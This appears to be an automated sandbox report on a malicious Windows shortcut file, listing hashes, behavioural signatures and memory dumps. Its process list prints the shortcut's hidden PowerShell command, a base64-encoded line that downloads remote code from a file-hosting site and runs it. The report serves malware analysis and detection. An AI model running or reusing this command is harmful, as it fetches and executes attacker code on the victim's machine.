Analysis
-
max time kernel
122s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
31-07-2024 07:41
Static task
static1
Behavioral task
behavioral1
Sample
nTalu.lnk
Resource
win7-20240705-en
windows7-x64
4 signatures
150 seconds
General
-
Target
nTalu.lnk
-
Size
2KB
-
MD5
79b6a1c72f61bf2358eca72f4d67b4d7
-
SHA1
22c3540ce90d11b32b0a9c2eae94ae467af2aabf
-
SHA256
ee3dad6434cb64d091d15fda5900d088f46b64d0603a449d6bd46afb9705140a
-
SHA512
839fb585a20812324f4058cb2e354be77b243c212fcf35e1c16fb2668a266cbeb784844512e0aa15e6077cf2570e88b04bb986164f4972e1bc63a61576967d6e
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2076 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2076 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 1908 wrote to memory of 2076 1908 cmd.exe powershell.exe PID 1908 wrote to memory of 2076 1908 cmd.exe powershell.exe PID 1908 wrote to memory of 2076 1908 cmd.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\nTalu.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W h -e JAB4AGMAZQAgAD0AIAAnAHgAJwA7ACAASQBlAHgAKABJAHIAbQAgAGgAdAB0AHAAcwA6AC8ALwAwAHgAMAAuAHMAdAAvAFgAZgBJAFQALgB0AHgAdAApADsAIAAkAHgAYwBlACAAPQAgACcAeAAnAA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2076-38-0x000007FEF5D2E000-0x000007FEF5D2F000-memory.dmpFilesize
4KB
-
memory/2076-39-0x000000001B5F0000-0x000000001B8D2000-memory.dmpFilesize
2.9MB
-
memory/2076-40-0x0000000002780000-0x0000000002788000-memory.dmpFilesize
32KB
-
memory/2076-41-0x00000000028C4000-0x00000000028C7000-memory.dmpFilesize
12KB
-
memory/2076-42-0x000007FEF5A70000-0x000007FEF640D000-memory.dmpFilesize
9.6MB
-
memory/2076-43-0x000007FEF5A70000-0x000007FEF640D000-memory.dmpFilesize
9.6MB